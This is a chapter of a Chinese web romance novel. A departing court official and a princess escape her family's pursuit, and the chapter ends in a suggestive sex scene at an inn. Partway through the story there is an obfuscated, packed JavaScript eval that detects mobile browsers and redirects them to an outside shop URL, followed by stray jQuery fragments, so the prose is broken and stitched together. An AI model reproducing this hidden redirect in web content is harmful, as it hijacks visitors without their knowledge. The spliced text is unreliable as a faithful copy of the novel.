68. 第六十八章 交融

作品:《当对食成为郡主娘娘以后

    万荪瑜便在镇北侯府住了半月有余,便是再不舍,也到了不得不回京的时候。


    他临行前,还特意为蒋如蕙刚出生的侄女锦儿备了贺礼,吃穿用度皆有,都是上好的货,足见其用心。


    这日一早,万荪瑜换上那身天水碧色竹纹广袖长衫,已然收拾好行囊,便要踏上回京的路途。


    “侯爷,二公子,三公子,多谢这段时日的照拂,”他便向蒋氏父子躬身行礼,又沉声道,“三个月内,宁家定会翻案,晚辈届时再来求娶郡主。”


    蒋盛云见他神色真诚,虽被他的坚持触动,却仍只淡淡道:“此行路远,万掌印多保重。”


    “是,侯爷。”万荪瑜便又抱拳,神色间微微流露喜色。因蒋盛云并未拒绝他的提议,他便觉着一切还有转机。


    而此时,蒋如蕙已换上那身窄袖束腰的大红曳撒,一头青丝未梳发髻,只高高扎成马尾,其上斜插一根嵌着红玛瑙的银钗,与这艳红衣衫交相辉映,更显英姿飒飒,又明媚动人。一如曾经在万府时那般。


    几人正在府门前送别万荪瑜,却见另一辆马车自官道那头缓缓驶来。


    蒋氏父子自瞧出这是沈府的马车,便见马车在门前停下后,一位身着天水碧色云纹广袖长衫的公子缓步下了马车,但见他面容俊美、眉眼含笑,正是沈钰安。他身畔,还有位身着藏蓝色交领袄裙的中年妇人,虽上了年纪仍貌美端庄,便是他的母亲沈夫人。


    好巧不巧地,今日沈钰安与万荪瑜,又穿着同样色彩和形制的衣衫。沈钰安之父沈晋已返回忻州上任,他和母亲沈林氏此番前来,便带上了贺礼,贺蒋二公子蒋如柏弄瓦之喜。


    蒋盛云不曾想他们竟来得这般早,正好撞见万荪瑜启程回京,便难免尴尬,“贤侄的腿伤可好些了?快进屋里坐!”他素来深沉的面容,神色不自觉便热络起来,是万荪瑜此前从未见过的。


    “多谢蒋世伯关心挂念,已好得差不多了。”沈钰安浅浅一笑,目光却一直在蒋如蕙身上流连。他见她今日一身大红曳撒,飒爽利落,是他此前未曾见过的模样,骄阳般的大红衫子映衬下,她俏丽面容愈发明艳动人,他眸光便在她身上移不开了。


    “看来还是摔得不够狠。”万荪瑜暗暗道,便凝眸望向沈钰安,冷笑一声。见他步履虽有几分趔趄,已然可以自如行走了。


    沈钰安适才回过神来,与万荪瑜目光交汇。他瞧出这姿容俊美的年轻人便是那日在兰亭轩、初来乍到的万公子,也是蒋如蕙口中的“心上人”。这万公子望向他时眸光冰冷,藏着风刀霜剑,平静与体面之下尽是敌意。


    “这位是万公子,蕙蕙的一位远房表兄,不久前途经此地,暂住几日。”蒋如柏便解释道,向沈钰安介绍万荪瑜。他并不知晓万荪瑜和沈钰安此前已打过照面,如此便是弄巧成拙。


    “表兄?在下何时成了郡主表兄?如此,倒是荣幸之至!”万荪瑜虽眉眼含笑,语气却冷若冰霜。他见蒋如柏睁眼说着瞎话,更瞧见了他们面对沈钰安时的恭敬与热情,便无意配合他们编制谎言。


    “二哥,万公子是我认定共度一生之人,何时成表兄了?”蒋如蕙亦道,见二哥公然撒谎,便不留情面地拆穿。


    蒋如柏闻言,便只尴尬地笑笑,“沈叔母、沈世弟,快进屋里坐。”


    万荪瑜无意与沈钰安纠缠,这便提步上了马车。蒋如蕙出于礼貌,仍向沈钰安和沈夫人行了一礼,这便转身跨上一匹快马,追随着万荪瑜的马车而去。


    蒋如枫自瞧出来,蒋如蕙今日这身行头方便骑马行路,一早便是要随万荪瑜一道离去的。“爹,我去追蕙蕙!”他瞧见了父亲眼中的愤懑无奈,便抢先开了口,同时吩咐仆从牵马来。


    “你去追有何用?你与她本就沆瀣一气,”蒋盛云沉声道,又望了眼蒋如柏,“二郎,你去追吧。”


    “是!”蒋如柏便去牵马,而后翻身上马,向着二人行远的方向疾驰而去。


    沈钰安呆呆凝望着那一抹红色身影,如朝霞般明快耀眼,正策马消失在视线尽头。他下意识想追出去,尚存的理智却让他停住了脚步。


    蒋如柏一直策马紧紧跟随着万荪瑜的马车,蒋如蕙靓丽飒爽的身影就在他马车之畔。


    而待出了城,就在蒋如柏终于驭马跟上马车时,却发觉骑在马上的女子并非蒋如蕙,而是自己的大嫂杜玉红。马车里则空无一人,车夫是个脸生的,万荪瑜和侍书、侍剑已然不知去向。


    “大嫂,怎的是你?”蒋如柏不禁疑惑,便焦急询问,“蕙蕙和那万掌印去往何处了?”


    “他们自有他们的去处,你又何必去追?”杜玉红英气的面容上,神色平静,暗含三分不屑。


    “大嫂,你怎的也跟着胡闹?就不怕父亲……”蒋如柏当真是一个头两个大,暗道自从与这亲妹子相认后,镇北侯府不守规矩之人是愈来愈多了。


    “我怕什么?父亲若怪罪下来,便叫你大哥休了我吧!”说到这里,她面容染上几分怒色,“若不是看在琛儿琰儿年纪还小,我早就不想和他过了。”


    “别呀,什么事不能好好商量呢?”蒋如柏便当起了和事佬,“那个女子既已打发了,此事便算揭过去了。明儿个我就去军营里,同大哥好好谈谈,你们都冷静冷静,好好过日子吧。”


    杜玉红无意与他争辩,便沉声道:“你大哥的所作所为,我早就瞧不上眼了。咱们习武之人,素来恩怨分明,有仇的报仇,有恩的报恩,咱娘从前怎么教你们的?那万掌印再如何,也是蕙蕙的救命恩人,当初若非他出手相救,哪有今日父女兄妹团聚?就算这恩情可用身外之物偿还,也不是你们随意欺辱人家的理由。”


    这一声声、一句句铿锵有力,撞入蒋如柏耳里,却叫他难以辩驳。所谓长嫂如母,杜玉红这位大嫂,性格麻麻利利,处事果决不拖泥带水,大有母亲袁氏的风范,是以蒋如柏蒋如枫都很服她。


    而对蒋如蕙这小姑子,她很是欢喜,二人都是爽朗麻利、干脆果决的性子,相处下来便很投缘。前两日蒋如蕙找上她帮这个忙,她便干脆应下来。她虽年长蒋如蕙好几岁,但二人都是习武之人,身形相近,穿上红色曳撒足以以假乱真。


    蒋如柏便只仰头叹息,他知晓,自己一时半会儿是寻不回妹子了。


    却说这边


    在杜玉红的掩护下,蒋如蕙和万荪瑜已然摆脱了蒋如柏的追赶,他二人没走官道,走的是一条迂回曲折的小径。


    在路上行了许久,时下已近夕落时分。二人正坐在马车里,依偎在一处。


    “你就这么随我跑出来了,侯爷和二公子怕是焦急万分。”万荪瑜轻抚她柔嫩饱满的面颊,虽是微微无奈的语气,眼神里却满含宠溺。


    “我就是想再送你一程,再陪你一夜,”她将他拥得更紧了些,轻嗅他衣料间熟悉而清冽的熏香味道,“翻案之事,我怕是帮不上什么忙,但我会把功夫练得更好,必要时出现在你身前,护着你。”


    “你放心,我会护好自己,你这一身功夫,也不会白练。”万荪瑜温声道,轻抚她鸦青的秀发。


    送君千里,终须一别。他们都格外珍惜这难得的独处时光。


    亟待夕阳西下,夜幕降临,二人便在郊外寻了间客栈,稍作休整。虽是北地,这客栈却竹楼环绕,环境清幽,夕阳的余晖洒下来,空气里氤氲着竹叶清雅的香气。


    二人便入了雅间下榻。殿小二端来浴桶,二人便拉上帘帐,步入黑漆木嵌蓝田玉屏风后沐浴。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029728|190351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣衫从她身上施然落下,微暗的光晕洒在她身上,勾勒出曼妙而挺拔的身段。


    早已不是头回共浴,万荪瑜的目光停驻在她身上,呼吸却还是凝了一息。身体分明还记得从前肌肤相触时的亲密,却仿佛很久以前的事了。


    “哥哥,还愣着做什么?”她轻笑道,声音轻灵悦耳,便伸手解去他腰间的衣带,褪去他长衫……


    万荪瑜的动作仍停顿了片刻,便叫她嗤笑出声:“怎的,我如今是郡主,你便不敢了?”


    “怎生不敢?你是民间女子李春桃也好,是长乐郡主蒋如蕙也罢,都是我的桃儿,是我此生认定的女子。”他在她轻灵的笑声里回过神来,予她温柔的回应,便配合着她的动作褪去中单和亵衣,而后缓步跨入浴桶里。


    屏风后,水光潋滟,花影浮动。鸳鸯戏水,唇齿相依。


    “哥哥,你瘦了……”她纤长玉指抚过他清瘦胸膛,声音里含着疼惜,“你什么时候可以吃胖一点儿?”


    万荪瑜心潮翻涌,已然对她的“埋怨”充耳不闻,尚未沐浴完毕,他便自浴桶里起身,拿起布巾擦拭她身体,又将她打横抱起,向着床帷的方向行去。


    “哥哥,你身上的水还没擦干呢!”她在他怀里挣扎,却并未使出全力,因她挣脱他的怀抱并非难事。只不曾想,他病了这许久,竟还有力气抱着她行路。


    “无妨,一会儿慢慢擦。”他轻轻吻上她柔嫩的面颊,在她耳畔低声呢喃,正说话间,他便将她轻轻放在了床帐里。分离数月,便是在镇北侯府,也只能与她各居一院,他早已按捺不住了。


    床畔只点了一盏孤灯,蛾黄色灯火微微晃动,宛若流萤。寝衣自帐内轻轻落下,于地面铺开一片……


    肌肤相触间,依旧是彼此熟悉的体温,唇齿交缠,过往种种如画卷般在脑海中徐徐铺开……纵然历经生死别离,所幸如今还在一处,不知明日是否还相偎相依,只此刻的交融,已胜过千言万语。


    她在他熟悉的温柔里渐渐沉沦……迷蒙微醉间,异样的感触将她的思绪拉了回来,她便知他的身体已然苏醒。


    “哥哥……”她在他耳畔低声呓语,欣喜,却又微微讶异。


    “你不在身边,一直沉睡,与你重逢,便活过来了。”他双眸微湿,迷蒙水雾在他白皙俊美的面容上晕开,便落下绯红一片。


    鱼戏浅水,他们开始沉醉其中,云遮雾绕间,竟分不清是梦境还是现实。只这奇妙的舒适尚未持续多久,便开始消逝。


    到底受过创伤,少了气血滋养,如此便意犹未尽。但二人身体却亲密无间地贴合在一处,再无间隙。


    他拼尽全力予她爱抚,周身的力气终于消散殆尽。便轻叹一声,感叹身体的虚弱无能,却终究毫无办法,且一番云雨后,那伤口便又牵扯着疼痛起来。


    蒋如蕙睁开迷蒙的双眸,望见他眉宇间敛藏的苦涩,便俯身轻轻吻他,她温热的吻里含着疼惜,最后予那脆弱之处最温柔的抚慰。


    待她双唇离开时,她便见他眸中水雾弥漫,“今夜是喜事,哥哥可不许流泪。”她微微嗔道,责怪的语气里难得含上了娇嗔。


    万荪瑜深深吸气,待云销雨霁,他笑颜绽开,映着微湿的发,如雨后初绽的花朵。她鲜少见他笑得这般明媚,尚未待他回过神来,她便压制住他,恰如从前一般……


    她吻上他棱角分明的唇线、微微凸起的喉结……她的动作明快而热烈,他毫无还手之力,只能阖上眼眸感受狂风骤雨的来袭,品味这久违的酣畅。


    她喜欢他光润而微凉的白皙肌肤,恰如白瓷,历经淬炼,愈发温润。许久,便在他肌肤上留下了道道红痕。


    流萤般的灯火已然熄灭,床帐内是身心交融的极致欢愉……